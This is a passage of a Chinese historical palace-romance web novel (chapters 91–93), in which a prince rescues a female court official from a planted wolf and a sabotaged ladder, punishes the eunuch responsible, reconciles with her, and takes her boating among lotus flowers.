库房内静了须臾,方才传出周妙雅平静的回应:“霍公公,下官明白。” 霍隗冷哼了一声,脚步声渐渐远去。 朱弘毅指节无意识地收紧,力道狠到青筋尽露。 他盯着库房那扇破木门,胸腔里裹着怒火,似有惊涛骇浪翻涌… 他认得霍隗,那老阉在宫里待了三十年,最是油滑,惯会看人下菜碟,能让他这般明目张胆地刁难,背后必然有人授意,是魏琰?还是其他的什么人? 他恨不得破门而入,揪着霍隗的衣襟逼问清楚,将那些躲在暗处使绊子的人一个个地揪出来。 可脚下却挪不动半步… 因为她已经抛弃了他,她不需要他管… 这条路是她自己选的… 当日她跪承懿旨时,可曾想过会有今日? 当日她毅然决然离开王府时,说让他永远忘了她的时候,可曾想到会流落到这荒郊野岭,受一个老阉的腌臜气? 昨日在灶房见她站在冷风里,小口小口喝着那碗早已凉透的稀粥,硬着头皮吃下那硬得硌牙烙饼,他忽然回想里在王府的时候,让厨房变着花样地做苏式点心讨她欢心。 她自小生在江南,吃东西向来秀气,像只猫儿一般,每样只尝一小口。但吃到美味,她眼睛会突然亮起来,唇角弯出浅浅的弧度。 他心疼她… 心像钝刀子割肉,一寸一寸被剜下,磨得他五脏六腑俱痛。 可那刀口之下,却翻涌着一股暗黑的情绪,既然你抛弃我,既然你觉得离了我也能活,那就让你尝尝,没有我庇护的日子,究竟是什么滋味。 此念一起,朱弘毅自己都惊了惊。 他何时变得这般狠辣? 可这狠意一旦生了根,便疯长起来。 他想知道,她的底线到底在哪里?想知道这份倔强到底能撑到几时?想知道她会不会在某个瞬间后悔,后悔离开王府,离开他? 入夜之后,库房里的灯依然亮着。 周妙雅清点完最后一摞旧籍,藏书楼外的天早已黑透。 霍隗傍晚时来催过一趟,撂下话:“今夜必须造册完毕,明日一早咱家便来取。” 随即便扬长而去。 此刻藏书楼里,白日那些值守的太监一个都不见了,惟两盏孤灯在风中摇晃。 远处的行宫殿宇隐在黑暗中,零星几点灯火,瞧着竟有几分瘆人。 从藏书楼回女官住处,需穿过一片林间小道,白日里走还不觉得,此刻夜深人静,风声掠过树枝,声如呜咽。 周妙雅紧紧握着手中的明角灯,定了定神,迈步走进林子。 她走得极慢,一来是这些天没吃好饭,又高强度干活,实在乏得厉害…二来是心中莫名地发慌,总觉得暗处有什么东西在盯着她似的。 待她行至林中最深处时,只听见身后忽然传来极轻的脚步声。 轻若落叶,却划破死寂… 周妙雅猛地顿住脚步,背脊骤然沁出一层冷汗。 她缓缓转过身,提着明角灯壮起胆子往前照了照… 昏黄的光晕中,正对上一双绿莹莹的眼睛… 竟然是一只狼! 体型硕大,毛色灰黑,脊背弓成一道蓄势待发的弦,自灌木丛后缓缓踱出。 周妙雅僵在原地,浑身的血液瞬间仿佛都凝固了。 那只狼在距她丈余处停下,前爪刨了刨地面,将身子压得更低,已然是攻击的前兆。 周妙雅万念俱灰,她闭上双眼,电光火石间,脑海中闪过很多破碎的画面… 二郎,对不起,我怕是等不到替周家军昭雪,与你白头偕老的那日了… 她静静地站在那里,等待着命运对她最后一刻的审判。 就在这千钧一发之间,破空之声骤起! 一支羽箭裹挟着凌厉的寒风,自她鬓边掠过,直贯那只恶狼的咽喉。 那畜生发出一声凄厉的哀嚎,庞大的身躯轰然倒地,四爪抽搐,血沫翻涌,挣扎了一瞬后,便再无声息。 周妙雅怔怔地睁开眼,神魂未定,忽闻急促的马蹄声自远而近。 一匹黑马撕裂夜色,从天而降。 马背上的人俯身,坚实的手臂一揽,将她整个人稳稳提起,带入怀中。 “周妙雅!你竟如此不惜命?” 朱弘毅咬牙低喝,他一手控缰,另一只手臂死死箍在她腰间,力道大得似要把她揉碎。 他胸口剧烈地起伏着,心跳如鼓擂,混杂着粗重而灼热的喘息: “西山猎场入夜即是死地,你一个人也敢乱走?霍隗让你待到几时你就待到几时?你不会反抗?他不会派人送你?你到底有没有一点保护自己的自觉!” 周妙雅被他吼得怔住。 惊魂未定,又兼连日疲惫,委屈,隐忍,在这一刻全部轰然决堤,她鼻尖一酸,眼眶瞬间便湿了。 可她没有哭… 她只是垂着眸,任由泪水在眼眶中打转,声音轻得几近破碎:“下官…知错,谢王爷救命之恩。” 朱弘毅满腔质问,连日怨恨,都被她这句话堵在了胸口。 他低头看着怀中人,脸色苍白如纸,睫羽低垂着,上面挂着细小的泪珠,嘴唇抿得紧紧的,还在颤颤地发着抖,整个人缩在他怀里,那么小,那么单薄,仿佛一碰就会碎。 可她偏要摆出这副疏离认错的模样。 周妙雅,你到底在倔强什么? 朱弘毅的喉结剧烈地滚动着。 满腔怒火无处可泄,最终化为一声近乎破碎的叹息… 他收紧手臂,将她紧紧按在胸前,下颌抵着她的发顶,哑声道: “周妙雅…你这个样子,教我如何放心得下…”《 》 90-100 第91章 马蹄踏着夜色, 一路奔回朱弘毅暂居的东殿。 他勒住缰绳,翻身而下,紧接着伸出坚实的手臂, 不由分说地便将周妙雅从马背上稳稳地抱了下来。 殿内灯火通明。 朱弘毅放她落地, 待她站稳后, 便转身行至屏风前,自衣架上取下一件玄色暗纹外袍,回身便一言不发地罩在了她的肩头。 衣服上熟悉的气息扑面而来,她怔了怔,指尖微微蜷起,悄悄把衣角攥得更紧了些。 朱弘毅行至案旁,倾壶注了一盏热茶, 回身递到了她面前。 周妙雅这才回过神来,她确实渴 极了, 从午后到现在滴水未进, 喉咙干得发疼。 接过茶盏的瞬间,她的指尖不经意间碰到了他温热的手,两人都顿了一瞬。 她立刻垂下眼, 避开他的目光,也顾不得许多, 低头便饮。 可那茶水太烫… 舌尖触碰的瞬间,她疼得嘶地一声别过脸去, 襟前不小心被茶水溅湿,泪意被烫得瞬间翻涌上来。 朱弘毅眉峰骤紧, 他抬手夺过茶盏,置于案上。 “急什么?没人跟你抢…”他的声音沉沉的,听不出情绪。 他看着她极其委屈的表情, 轻轻地叹了口气,而后转身而出,少顷又捧回一盆清水,置于矮凳之上。 他将素帕浸没,旋即捞起,拧至半干,水珠簌簌而落。 “过来坐下。”他命令她。 周妙雅悄悄抬眸,偷觑了他一眼,便默默依言坐到了凳上。 她睫羽低垂,望着自己沾满灰尘的裙摆,指尖无意识地捻着他玄色外袍的衣角,一圈又一圈。 朱弘毅俯身近前,将温热的帕子轻轻地贴上了她的脸颊。 她下意识地想要往后躲,却被他另一只手虚虚扶住了后脑。 他没有强迫她,只是不容许她退开。 帕子沿着她的额角,脸颊,一寸寸地拭过,灰尘混着汗水,在素帕上晕开淡淡的污迹。 他动作很轻,很温柔,且擦得分外仔细,连耳后、颈侧都不曾遗漏。 周妙雅僵着身子,一动不敢动。 他熟悉的气息拂过她的鬓边,叫人心口发酸。 在王府的那些日子,她侍弄清供、挖坑种花,也曾弄得满脸泥渍。 他那时也是这样,拿帕子一点一点给她擦干净,她红着脸小声嘟囔:“我自己来”,他却总不肯,擦完了还要捏捏她的鼻尖,笑她一句小花猫。 可如今… 帕子拭到她的下颌,她终是忍不住抬眸。 正撞上了朱弘毅的目光。 灯火静伫,四目相对。 一如那个腊梅绽放的寒冬,她第一次见到他的情景。 他眼底好似一汪深潭,水面无波,底下却翻涌着太多的情绪。 周妙雅的喉间骤然哽住。 她想说“对不起”,想说“谢谢”,想说“你别这样”… 可话到嘴边,却一个字都说不出口。 她只是看着他,眼眶慢慢地红了。 她离开王府那日,说了狠话,让他永远忘了她,他明明该生她的气,该怨她,该不理她,可此刻他仍俯身替她拭脸,动作还是那么温柔。 朱弘毅的手停在了她的下颌。 他看见了她的眼泪在眼眶里打着转,却始终倔强地不肯掉下来。 他忽然觉得很无力。 满腔怒火,那些要让她尝尝苦头的狠意,皆在这一刻溃不成军。 他原以为自己能冷下心肠,可当她真真切切,狼狈不堪地坐在他面前,用那双含着泪的眼睛望向他时,他才发现,自己根本就做不到。 良久,他停在她下巴上的手,忽然动了。 他轻扣着她的下颌,将那张小脸抬了起来。 周妙雅视线被迫上移,直直撞进了他的眼底。 他看着她,目光炽烈如炬,似要将她从外到内一寸寸灼穿。 殿内静得可怕。 只有两人交错的呼吸声在空气中撕扯。 半晌,朱弘毅终于开口,他喉结剧烈滚动着,嗓音低哑,每个字都像是从胸腔深处碾压出来: “告诉本王,你执意入宫,究竟是不信我能护你周全,还是不信我能为周家翻案?” 他向前逼近半步,声音压得更低,带着近乎破碎的执拗: “在你心里,本王…就如此不值得你依靠?” 周妙雅的眼泪终于再也承受不住,汹涌地顺着脸颊滚下,正落在他仍停在她下颌的手背上。 泪水滚烫,烫得他指尖微微地颤了颤。 周妙雅没有抬手拭泪,她就这么仰着脸,任由泪水滑落。 她看着他,泪眼朦胧,眼底却浮起一丝倔强的光:“那么王爷呢?您如此生气…究竟是在气我的背叛,还是在担心我?” 话音落下,殿内瞬间陷入死一般的沉寂。 周妙雅的眼泪还在流,她的目光固执地停在他的脸上,不肯移开半分。 她在等他的回答。 朱弘毅没有说话,他看着她那张满面泪痕的脸,看着她眼底还凝着一抹孤注一掷的倔强,良久,唇角忽然勾起一抹涩笑。 他松开了抬着她下颌的手,声音无波无澜,平静得可怕:“你走吧。” 周妙雅愣住了。 她像是没听懂这三个字,只怔怔地望着他,眼泪还悬在睫毛上。 朱弘毅转身,背对着她立于窗下,声音冷淡: “既然没了信任,那便再没什么可说的。” “你我…此生不复相见。” 周妙雅的呼吸骤然停滞了一瞬,随即,她缓缓挺直了脊背。 她抬手用衣袖重重抹去了脸上的泪痕,动作有些粗鲁,眼眶被擦得瞬间泛红。 她缓缓开口,声音出奇地冷静,甚至带着一丝刻意的疏离: “下官奉皇命,整理西山藏书楼,恕不能遂王爷心愿,王爷若不想见下官,可自行离开西山。” 朱弘毅的背影明显僵了一瞬。 他缓缓转过身,看向她。 烛影摇曳下,她面色苍白,眼尾的残红未褪,眸光中盈满冷冽,眼底那层疏离,比任何言语都更加伤人。 他忽然低低笑出声,那笑中透着几分荒唐: “周妙雅。” “你是要把我逼到走投无路吗?” 他朝她逼近两步,目光紧紧地锁住她: “宁王府内,到处都是你的影子,廊下,暖阁,藏书楼…你觉得,本王回得去吗?” 周妙雅的指尖死死掐进掌心,指甲深深陷进肉里,疼得真切。 她垂下眼眸,避开了那道灼人的视线。 朱弘毅盯着她,这副看似温顺,实则倔强的模样,令人胸口窒息的几欲炸裂。 他深吸一口气,唇角笑意瞬间散尽,声音疲惫不堪:“罢了…你回你的女官住处,回你那废园去吧。” 他转身不再看她,语气冰冷:“本王遂你的愿,明日便离开西山行宫。” 周妙雅望着那道背影,缓缓屈膝,端端正正行了个女官礼,声线平静无波: “谢王爷恩典,下官告退。” ———— 周妙雅的脚步声渐渐远去,消失在了夜色中。 朱弘毅依旧站在窗前未动,他垂眸看了看自己的手,那只手方才抬着她的下颌,指尖还残留着她泪水灼热的温度。 胸中的懊悔之意瞬间翻涌而上,如藤蔓一般将他死死缠住,几近窒息。 他方才不该说那么重 的话,更不该说什么死生不复相见,他真的舍得吗? 他闭上双眼,深深吸了一口气。 懊悔之意还未退散,担忧之心又翻涌而上,两股情绪瞬间交织在了一起。 霍隗还在,若他就这么信守承诺离去,那老阉岂会轻易饶过她? 西山猎场入夜虽有野兽出没,可猎场与藏书楼之间分明有高墙相隔,若非人为,那恶狼怎会越墙而至? 一定是有人在背后指使霍隗,设此毒计,欲置周妙雅于死地。 朱弘毅猛地睁开眼。 再想无益。 他既已答应她明天就走,就得信守承诺。 可走之前,有些事必须要了结。 他转身踏出门槛,低声唤道:“长安。” 长安应声而入,见他眉宇紧锁,忙垂首:“王爷有何吩咐?” 朱弘毅声音骤冷:“去查霍隗。” 须臾之后,长安折返,面色凝重: “王爷,猎场与藏书楼间的围栏,有一处裂缝,显是被人新撬开的。裂缝附近有血迹和肉糜残留,气味浓重,应是故意放置,以生饵诱狼。” 话到此处,他将声音压得更低:“半个时辰前,霍隗鬼鬼祟祟地遣回藏书楼,在修缮用的木梯上动了手脚,待他离去后,属下才凑近瞧看,见中间一段横档被锯得只剩一层薄皮,人若是踩上去…必断无疑。” 朱弘毅的脸色彻底沉了下去。 放狼在前,毁梯在后,这已非普通的刁难,而是蓄意诛杀。 “可查出是谁指使的?”他问。 长安摇头:“霍隗行事隐秘,暂时查不到直接证据,若想查出幕后黑手,属下还需时间。” 他话音未落,朱弘毅眸底寒光已现,当机立断:“明日行程暂缓,本王要先拿霍隗一个现形。” ———— 次日清晨,晨光初透。 周妙雅立于那架新搭的木梯前,仰头望了望高处那排尚未整理的旧档。 今晨霍隗特意过来传话:“最上头那些档册需今日归整完毕,周女史既担了这差事,便烦您亲自登高。” 念及此,她伸手轻轻晃了晃木梯,想要试其是否稳固,好在横档的木料也还算厚实,看似很牢靠。 周妙雅抿了抿唇,提起裙摆,小心翼翼地踏上了第一级横档。 梯子承受重力,轻微地晃了晃。 她停了一瞬,待梯子稳住了,才继续向上攀爬,只是越往上,梯身晃动的越厉害。 待攀至中段时,木料竟发出细微的咯吱声… 周妙雅心下霎时警铃大作。 不对—— 新梯怎会有这等裂响? 她骤然停住动作,低头看向脚下的横档。 漆面完好,看不出任何异样,只是那咯吱声越来越响,像是什么东西正在断裂。 就在她迟疑的瞬间—— “咔嚓!” 脚下承重的横档猝然崩断! 周妙雅瞬间失去平衡,身形骤偏,天翻地倾。 失重的刹那,恐惧瞬间攫住了她,闭上眼,脑中一片空白。 预想中坠落的剧痛并未来袭。 一双坚实手臂稳稳将她接入了怀中。 下坠之势甚猛,那人闷哼一声,却把她护得纹丝不动。 她只觉自己落入了一个熟悉的怀抱,鼻尖撞上了那人坚实的胸膛。 周妙雅怔怔地睁开了双眼。 目光直直撞进朱弘毅眼底尚未散去的惊悸。 他抱着她,手臂收得很紧,像是怕一松手她就会消失。 她双臂已不受控制,本能地环上了他的脖颈。 时光倏然倒转,那年她初入王府,在瀚海楼,也是这般从梯子上坠落,被他稳稳接入怀中。 周妙雅的眼眶瞬间红了。 所有的坚强,所有的伪装,顷刻间土崩瓦解。 她仰头看着他,看着这个明明说好要走,却又在千钧一发之际稳稳接住她的男人。 “二郎…” 第92章 “二郎…二郎…” 周妙雅紧紧抱住朱弘毅, 将整个人埋进他宽阔而温暖的胸膛。 她肩膀颤抖的厉害,眼泪像决堤的洪水,汹涌地往外涌。 连日积压的委屈, 惊惧, 疲惫, 连同昨夜那句此生不复相见一并带来的绝望,在此刻尽随热泪倾泻,收也收不住。 朱弘毅抬起手,轻轻抚着她的背,柔声安慰道:“好了…好了…都没事了。” 宽大的掌心贴上她的脊背,能清晰地感受到她身上止不住的轻颤。 他随即收臂,将她更紧地往怀中带了带。 半晌, 周妙雅的抽泣才渐渐平复了下来。 朱弘毅这才抬眼看向藏书楼外。 长安早已候于阶下,见他抬眼, 便轻轻点了点头。 他身后跟着两名行宫侍卫, 当中押着个面如土色的小内侍。 那小内侍手中死死攥着一把锯子,锯齿上尚沾着木屑。 长安趋前半步,低声禀报:“王爷, 人证物证俱在,这是昨夜在藏书楼外当值的兴顺, 亲眼看见霍隗亥时三刻潜入藏书楼,在那架梯子的横档上动手脚。” 他话音刚落, 只见那兴顺扑通一声便跪倒在地,浑身抖如筛糠, 不住磕头道:“奴…奴才不敢欺瞒!昨夜确实是霍公公…是他命奴才望风,奴才隔门缝瞧得真切,他手持此锯, 于梯中横档来回锯动…奴才当时便觉蹊跷,可…可惧其淫威,不敢声张…” 朱弘毅的目光落在那把锯子上,声音骤冷:“霍隗呢?” 长安垂首:“回王爷的话,已缚于院外。” 朱弘毅轻轻颔首,随即侧眸低哄身旁的周妙雅:“先在此稍候,待本王了却了霍隗,便回来,可好?” 周妙雅轻咬着下唇,抬眸泪光未干,却用力点了点头。 院中老槐树下,霍隗被粗麻绳捆得结实,口中塞着破布,由两名侍卫压着,却仍不服地扭挣着。 见朱弘毅出来,他喉咙中瞬间发出呜呜的哀鸣声,一双老眼里盈满惊惧,几乎要溢出来。 他万万想不到,这位素来闲散不管事的宁王殿下,竟会亲自插手去管一个最低阶女官的死活。 朱弘毅缓步行至他面前,停下脚步,垂眸俯视,目光冷冽如霜。 他向长安使了个眼色,长安立刻会意,劈手扯掉霍隗口中的破布,动作粗悍。 朱弘毅随即开口,声音冰冷:“霍公公,可有什么想说的?” 霍隗猛地抬头,嘴唇哆嗦着:“王…王爷明鉴!奴才…奴才冤枉啊!这把锯子…这锯子是…” “是什么?” 长安当即抬腿,一脚踹在霍隗的胸口,冷声啐道:“说!” 霍隗痛得满地打滚,嗷嗷惨嚎,余光掠过那把铁证般的锯子,又扫过跪在地的人证,脸上的血色霎时褪得惨白。 长安上前一步,反手抽出腰间短刀,将刀尖悬在霍隗头顶,冷声喝道:“说不说?” 霍隗浑身剧颤,眼中闪过极度的恐惧,他唇角抖动,半晌才嘶哑开口:“是…秦司典…秦婉如命奴才所为…” 听到这个名字,朱弘毅眸底的寒霜骤凝。 他没有说话,只是缓缓转过身,向长安递了一个眼神。 长安会意,立刻命两名侍卫将霍隗按倒在地,顺手抄起一根手臂粗的木棍,走到霍隗跟前。 霍隗见状,猛地扭身扑地,扯着嗓子喊道:“王爷饶命!王爷饶命!奴才知错了!奴才什么都招!只求王爷留奴才一条贱命!” 朱弘毅充耳不闻,只抬手一落。 “咔嚓!” 木棍重重砸下,砸在霍隗右腿膝盖上,骨碎声清脆。 一声凄厉的惨叫声破空而出,霍隗疼得浑身抽搐,额头青筋暴起,眼泪鼻涕糊了一脸。 此刻院中诸人见状,皆俯首噤声,连大气都不敢出。 朱弘毅负手立于原地,冷眼看霍隗在地上痛苦地翻滚,待惨叫声渐渐弱了,方才开口: “传话下去,西山行宫上下,凡有欺上瞒下,残害同僚者,霍隗便是下场。” 众人齐刷刷跪了一地。 朱弘毅不再看霍隗,只侧身吩咐长 安:“带上人证,物证,连同此奴,一并押赴北镇抚司,其生死,自有律法论处。” 言罢,他俯身低语:“记住,亲手交予顾凌云,旁人本王信不过。” 长安躬身领命:“属下明白。” ———— 待藏书楼外众人散去,院子里恢复了寂静。 朱弘毅转身走回藏书楼,周妙雅仍站在原地,听见脚步声,她抬起眼,眼眶还有些红。 他在她面前止步,柔声道:“都解决了,霍隗不会再欺负你,秦婉如那边,北镇抚司会按律法查办。” 说到此处,他停了一瞬,深情的目光望进她的眼底:“你且安心在此做事,不会再有人为难你。” 周妙雅轻轻点了点头,她唇瓣微颤,显然也读懂了他眼中盈满的情绪。 忽然,她伸出手,轻轻拉住了他的胳膊。 朱弘毅瞬间怔住。 周妙雅指尖发颤,却握得固执,她仰着脸看他,眼眶又慢慢红了,声音软软糯糯的:“那王爷今日…还要走吗?” 朱弘毅沉默地看着她。 她眼底有期待,有不安,还有一种近乎卑微的恳求… 他轻轻叹了口气,无奈问道:“你希望我走吗?” 周妙雅的眼眶瞬间盈满了泪,她拼命摇头,泪珠随动作四散:“对不起…我昨夜不该说那样的话…是我错了…” 她哽咽难抑,抓着他胳膊的手力道更紧了,唯恐一松手他就会转身离去。 “求你…” 她抬起泪眼,声音轻若游丝:“别走。” 朱弘毅此刻只觉心口被猛然攥紧。 他望着她的眼泪,看着她这样低声下气地求他,心头那点残存的怒意,骄傲与自尊,顷刻间早已土崩瓦解。 他伸出手,将她紧紧拽进怀里,柔声道:“好,我不走。” 自那日之后,朱弘毅便留在了西山。 他命人将周妙雅与李,王二位女史从那处破烂的荒园里接了出来,安置在行宫东侧一处干净敞亮的厢房。 屋子虽不算奢华,但窗明几净,床榻被褥都是新的,墙角还摆着几盆绿植,一眼望去便觉舒心。 能从荒园里搬出来,李女史和王女史都高兴坏了。 初至新舍,抬眼便是窗外翠色,她们激动的几乎要落下泪来。 王女史小声对李女史说:“这可比咱们在司籍司的住处还要好。” 李女史连连点头,眼眶红红的。 自此,两人每日去工作都精神抖擞的。 朱弘毅为了与周妙雅有更多独处的机会,特意安排周妙雅与王女史,李女史分开工作,他自己则在藏书楼,日日陪着周妙雅,无论她工作到什么时辰。 平日里那些厚重的旧籍,她刚要伸手去搬,他却已抢先一步帮她搬起,稳稳放到了指定的位置。 遇到她对那些置于高处的书本犯难的时候,他便早搬来木梯,只低声问她:“要哪一本?我替你取。” 她伏案整理账册时,他便坐在不远处的窗下看书,就这么静静地陪着她。 有时她写字写得久了,手腕发酸,他便适时递过一杯热茶,柔声道:“歇会儿。” 每日饭点未至,热菜便已先送来,三菜一汤,荤素合度,更必有一味江南小炒。 周妙雅心知,这是他特意吩咐厨房按照她的口味做的。 若周妙雅夜里还需赶工,朱弘毅便留在藏书楼陪她。 库房里原只点一盏灯,光线昏暗,他便又添了一盏,轻轻放在她案头。 烛火跳跃,映出她低首书写的侧影,睫毛的阴影随着书写而轻轻颤动着。 他有时会走过去,站在她身后看一会儿。 她写得很专注,但偶尔也会蹙眉凝思,若遇道疑难理不清的地方,她便抬眸相询。 他便俯身拢近,手臂自在她两侧环落,将她圈进方寸之间,一字一句,替她理清头绪。 夜深人静,她累得伏在案上睡去,他便缓步走来,静静凝视着她的睡颜良久,方才轻轻抽去她手中握着的笔,将她打横抱起,一路送回厢房。 她住的地方离藏书楼不远,穿过一条回廊便是,夜里风凉,他会用外袍裹住她,走得又稳又慢。 周妙雅就这样被他稳稳抱着,半路上,她迷迷糊糊转醒,虽意识尚沉,身体已先一步有了反应。她本能地往他怀里缩了缩,手臂软软地环上了他的脖颈,贴在他肩头的脸,轻轻向内蹭了蹭。 行不过数步,她忽地软声唤道:“二郎…” 声音软软糯糯的,像含着半块还未融化的糖。 朱弘毅脚步未停,只低低应她:“嗯?” 她将脸埋得更深了些,声音闷软,带着初醒的小心翼翼:“你…可还生我的气吗?” 朱弘毅没有立刻回答。 周妙雅心头顿时发紧,于是便悄悄抬眼,想借廊下明角灯微弱的光,窥他面上的神色。 恰在此刻,朱弘毅忽而开口,声音平静,听不出什么情绪:“还生什么气?” 周妙雅的手臂无意识地收拢,愈发紧扣他的脖颈。 “那…还生我当初…不告而别,去参加女官大考的气吗?”她小心翼翼地问他。 这个问题,她憋在心里很久了。 此刻夜深人静,她被他这样抱着,整个人缩在他怀里,那些平日里不敢说的话,便这样自然而然地问了出来。 朱弘毅脚步微滞。 半晌,他才低声开口,声音里带着一点极淡的无奈,却更多是纵容的温柔:“小傻瓜…我早就不气了。” 周妙雅怔住。 她仰着脸看他,眼睛在夜色里亮晶晶的,像盛着星光。 “真的?”她轻声追问,带着不敢置信的小心翼翼。 朱弘毅看着她这副模样,既觉好笑又生心疼,低低叹了口气,笃定说道:“真的,早就不生气了。若是还生气,我怎会留在此地?” 周妙雅的眼眶忽然又热了。 她将脸重新埋回他的肩头,手臂紧紧环住他的脖颈,整个人都缩进了他的怀里。 嗓音发哑,带着哽咽的哭腔,低低唤着他:“二郎…谢谢你…” 第93章 长安自外风尘仆仆地归来, 一入西山行宫,便直奔朱弘毅所居的东殿而去。 “王爷。” 长安单膝跪地,声音压得极低:“霍隗死了。” 朱弘毅面色无波无澜:“死在诏狱里了?” “是。” 长安抬起头, 眉宇间凝着一层阴郁:“北镇抚司的兄弟回话, 霍隗关进去第三日便熬不住, 在人证物证面前供出了秦婉如,可还未及细审,当夜便突发急症,死在了牢里。” “急症?” 朱弘毅唇角掠起一抹极淡的冷笑:“那秦婉如呢?” 长安垂首,压低声音道:“秦婉如…没死。” 朱弘毅沉默了片刻,方才缓声问道:“她现下人在何处?” 长安几乎咬碎了牙:“霍隗被擒当夜,秦婉如便得到风声, 连夜…自荐枕席,爬了龙床。如今她已经不再是司籍司的女官, 昨日陛下下旨, 封秦氏为选侍,赐居景阳宫西配殿。” “选侍?” 朱弘毅低嗤:“倒是如此不知自爱,连脸面都不要, 用这等下作手段续命,倒也合她。” 长安抬眼, 看向朱弘毅:“王爷可知,这秦婉如是谁?” 朱弘毅声音平静:“兵部左侍郎秦以牧之女, 数年前,秦家曾托人向王府递过庚帖, 称其女年方十五,才貌双全,愿与王府结亲, 被本王拒了。” 长安张了张嘴,一时竟不知该说些什么。 朱弘毅语调依旧平稳:“秦以牧,魏琰一手扶携,掌兵部钱粮,边关饷银年年拖压,辽东,宣大诸镇总兵催饷的折子,摞起来足有一人之高。” 说到此处,朱弘毅压低声音:“本王命你,把这些年暗里搜集的秦以牧贪墨军饷,卖官鬻爵的证据,走隐秘的路子,悄悄送到都察院刘御史的手上。” 长安眼神一凛:“属下明白。” 朱弘毅眸色沉静如水:“刘御史恨阉党入骨,这些年一直想寻机会弹劾秦以牧,苦于没有实证,你找一个与王府素无瓜 葛之人,悄悄把证据交给他,他自然知道该怎么做。” 长安略迟疑了一瞬:“可是殿下,秦婉如如今已是陛下的枕边人,此刻动秦以牧,会不会…” 朱弘毅唇角勾起一抹冷哂:“你不了解皇兄,正因此女自甘下贱,自荐枕席,皇兄此刻对她已心生厌憎,若此时弹劾秦以牧,纵是魏琰出面力保,皇兄也会借机动怒,连同秦婉如一并折辱。” 长安立刻明白了过来,重重点头道:“属下明白了,属下这就去办。” ———— 时序入盛夏,西山行宫的荷花盛开。 周妙雅仍日日埋首藏书楼,将那些积年的旧籍一册册地理出来,登记造册。 只是伏案久了,难免颈梗酸硬发僵,她便起身轻轻活动一下,又继续低头书写。 朱弘毅将这些全然看在眼里。 这日清晨,周妙雅正倚窗整理昨日未整理完的册子,听见脚步声,她抬眸,见朱弘毅正负手立于门外。 “今日歇一日。”朱弘毅说。 周妙雅微微一怔:“可这些册子…” 朱弘毅跨步而入,伸手抽走她手中的笔:“册子不会跑,今日西山荷苑荷花开得正盛,我带你去瞧瞧。” 周妙雅垂首,面颊上偷偷附上一层薄红,娇羞道:“好,都听二郎的。” 西山行宫东侧,原有一片荷苑,如今已荒废多年。 先帝在世时,曾命人精心打理,每到盛夏便是莲叶遮天,香浮十里的盛景。 自先帝驾崩,御舟不再,这处园子便渐渐荒废了,平日里少有人至。 朱弘毅命人备下了一叶乌篷小舟,船尾摆了个小泥炉,炉上温着茶水,旁边的竹篮以碧叶衬底,盛着荷叶糕,藕粉圆子,俱是江南的样式。 周妙雅提裙登舟,朱弘毅伸手扶了她一把。 他的手很稳,握住她手腕时带着温热的力度,让她心头亦随之温暖了起来。 她借着他的力道踏入船舱,船身轻轻晃了晃,水波荡起了一圈涟漪。 朱弘毅自己拿起竹篙。 他撑篙的动作不算娴熟,但力道控制得很好,竹篙入水,轻轻一点,小舟便缓缓离了岸,朝着荷塘深处滑去。 周妙雅坐在船头,静静地望着眼前的光景。 荷叶长得极高,密密层层的,有些几乎要探到船篷顶上。 粉白色的荷花在绿叶间亭亭而立,风过时轻轻摇曳,顾盼生姿。 蜻蜓在水面点过,偶尔停在荷尖上,远处有白鹭掠过,雪白的身影映入碧波,一晃便不见了。 周妙雅望着眼前的荷塘,眸光悠长,轻声开口:“苏州城中最热闹的时节,当属一年一度的荷花宕,张岱《陶庵梦忆》有记,每年六月廿四,游船如织,画舫笙歌,灯火彻晓,袁宏道亦言,荷花盛开,清香袭人,其灿烂之景,不可名状。” 说到这里,她突然垂眸,声音低了下去:“我只去过一次。” 朱弘毅见她眼中有些伤感,便停下竹篙,任小舟随波停驻,自己则在她对面坐下,只静静看着她。 周妙雅垂眸,指尖无意识地绞紧衣角:“那年荷花宕,祖母让文毓瑜陪我去散心,到了荷花宕,他说人多,便带我往僻静处去。那里泊着一条船,船上…坐着几个纨绔,他把我往前一推,那些人便伸手来拉,珍珠落了一地,发髻也散了…” 朱弘毅静静听着,他看了她片刻,突然伸出手,覆上了她微凉的指尖。 他的手很暖,掌心贴着她的手背,将那股凉意一点点化开。 “都过去了,往后有我在,不会再有人欺负你了。” 他声音不高,却字字分明。 周妙雅抬眸,眼眶微红,眸中情绪翻涌。 她就这样看着他,而后重重点头,用力回握住他的手,似要从他手掌的温度中汲取力量。 一阵风自荷塘深处徐来,挟着水汽与荷香,四周荷叶簌簌作响,粉白的花瓣在风里轻轻颤动。 朱弘毅望着她怯怯含情的双眼,喉结微动,他忽地俯身向前,双手撑在她身侧的船板上。 乌篷船随着这动作又晃了晃,两人的呼吸瞬间交缠,近得能看清彼此睫毛最细微的颤抖。 周妙雅的心跳骤然加快。 朱弘毅低下头,吻住了她的唇。 起初只是浅浅相触,温软相挨,周妙雅的身子微微颤了颤,却没有躲开,手臂无意识地环上了他的脖颈。 得此默许,朱弘毅的吻骤然加重力道,他一手扣住她的后脑,另一手揽住她的腰枝,将她整个人带进怀中。 小舟随之轻晃,水波一圈圈荡开。 周妙雅闭着眼,任他予取予求,他的唇舌撬开她的齿关,长驱直入,不容她退缩。 她被吻得有些喘不过气,身子渐渐软下来,只能紧紧攀附着他。 荷香萦绕,水声潺潺。 朱弘毅吻了很久,久到周妙雅只觉骨软身酥,似要融化在他怀里。 良久,他才稍稍退开些,呼吸凌乱而灼热。 周妙雅睁开眼睛,睫毛上还缀着细碎的水珠,她的唇瓣被吻得嫣红湿润,在斑驳的光影下泛着柔软的光泽。 “二郎…” 她轻轻喘息着唤他,声音软糯得似要化开。 朱弘毅喉结滚了滚,又低头吻了上去。 这次吻得更深,更缠绵… 他的掌心隔着薄薄的夏衫抚过她的后背,周妙雅轻轻颤了颤,手臂将他搂得更紧。 日影西斜,将满塘荷花镀上一层暖金。 朱弘毅终于松开她时,周妙雅整个人都软在他怀里,脸颊贴着他的胸口,隔着薄薄的夏衫,能感觉到他那坚实胸肌正随着呼吸起伏。 她的呼吸还有些乱,身子使不上力,手臂却仍环着他的脖颈。 小舟早已悄无声息地漂到了荷塘的最深处,四周莲叶高过人头,将他们严严实实围在中间。 周妙雅过了许久才缓过气,她想从他怀里起身,身子刚动了动,朱弘毅的手臂便自然而然地收紧了些。 “再陪我一会儿。” 他低声道,声音中带着餍足后的沙哑。 她便安分不动,任由他抱着,荷香暗涌,晚风掠水,拂乱了她鬓边的碎发,也拂得她心头一片柔软。 又过了许久,天色渐渐暗了下来。 远处传来行宫晚钟的钟声,朱弘毅这才松开手,扶着她坐起身,将小舟划了回去。 ———— 